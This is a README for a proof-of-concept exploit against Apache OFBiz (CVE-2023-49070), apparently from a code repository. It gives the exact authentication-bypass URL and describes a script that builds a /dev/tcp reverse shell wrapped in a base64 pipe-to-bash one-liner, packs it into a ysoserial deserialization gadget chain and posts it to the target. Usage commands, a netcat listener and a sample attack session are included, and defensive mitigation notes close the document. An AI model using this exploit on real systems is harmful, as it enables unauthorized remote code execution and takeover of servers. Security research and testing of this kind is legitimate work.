ofbiz-xmlrpc-rce (CVE-2023-49070)

PoC for the Apache OFBiz XML-RPC pre-auth deserialization RCE tracked as CVE-2023-49070: an authentication-bypass path unlocks the legacy /webtools/control/xmlrpc endpoint, which deserializes an attacker- controlled Java object smuggled inside an XML-RPC <serializable> parameter.

⚠️ For authorized security testing only. Only run this against systems you own or are explicitly authorized to test (CTF/lab environments, engagements with signed scope, etc.). Unauthorized access to computer systems is illegal in most jurisdictions.

Vulnerability

Apache OFBiz's view-map authentication normally protects /webtools/control/xmlrpc. Affected versions (< 18.12.10) can be tricked into skipping that check by appending a semicolon plus specific query parameters to the path:

/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y

Once reachable, the endpoint accepts XML-RPC requests. Apache XML-RPC's Java implementation supports a <serializable> extension type: the element's content is base64-decoded and passed straight into ObjectInputStream.readObject() — classic unsafe Java deserialization. With a suitable gadget chain on the classpath (this PoC uses CommonsBeanutils1 via ysoserial by default), that translates directly into remote command execution as the OS user running OFBiz.

This is the same family of bug as the earlier OFBiz XML-RPC deserialization CVEs (e.g. CVE-2023-51467's auth-bypass sibling); OFBiz has had a recurring pattern of auth-bypass + deserialization pairs on this endpoint, so check the exact CVE/version range that applies to your target before relying on this PoC.

What this script does

1. Builds a bash -i >& /dev/tcp/LHOST/LPORT 0>&1 reverse shell, base64-encodes it, and wraps it in a bash -c 'echo ... | base64 -d | bash' one-liner (dodges shell-metacharacter mangling further down the execution chain).
2. Shells out to ysoserial to build a serialized gadget chain (CommonsBeanutils1 by default, configurable) that runs that one-liner.
3. Base64-encodes the gadget bytes and wraps them in the XML-RPC <serializable> payload.
4. POSTs it to TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y.
5. Reports the HTTP status and flags whether the response body contains OFBiz's post-deserialization error marker (No such service) — a signal the payload was processed, not proof of code execution.

What this script does NOT do

It cannot confirm you got a shell — OFBiz returns a generic error either way once deserialization runs (the XML-RPC method itself, Dns, doesn't exist as a real service). Always have your listener up and check it, not just the script's console output.

Requirements

• Python 3.8+, pip install requests --break-system-packages
• Java (any version compatible with your ysoserial build)
• ysoserial-all.jar — build it yourself from frohoff/ysoserial (mvn clean package -DskipTests) or grab a release jar. Not bundled here — it's a large third-party tool with its own license.

Usage

python3 ofbiz_xmlrpc_rce.py \
    --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar

Start a listener first:

nc -lvnp 4444

All options

Trying other gadget chains

CommonsBeanutils1 is the classic choice for OFBiz (it ships commons-beanutils on the classpath), but if it doesn't fire, OFBiz's bundled libraries support other chains too. Just swap --gadget:

python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar \
    --gadget CommonsCollections6

Example session

$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
    This is a signal the gadget chain executed, not proof of a shell.

[*] Check your listener: nc -lvnp 4444

Detection & mitigation (defensive notes)

• Patch to Apache OFBiz 18.12.10 or later (or the current patched release for your branch) — this closes both the auth-bypass path and hardens deserialization on the XML-RPC endpoint.
• Disable or restrict /webtools/control/xmlrpc if you don't actively use XML-RPC integration; the webtools component in general is a common target and should not be internet-facing without a strong reason.
• Filter semicolon-based path segments at a WAF/reverse-proxy layer as defense in depth — many of OFBiz's auth-bypass CVEs share this ; trick against Java servlet path parsing.
• Deserialization hardening: use a look-ahead deserialization filter (ObjectInputFilter, available since JEP 290 / Java 9+) to block known gadget-chain classes from ever being instantiated, regardless of which endpoint triggers the deserialization.
• Monitor for: POSTs to */control/xmlrpc* containing <serializable> elements, unexpected outbound connections from the OFBiz host, and child processes spawned by the Java process running OFBiz.

References

• NVD — CVE-2023-49070
• Apache OFBiz security advisories
• ysoserial

License

MIT — see LICENSE.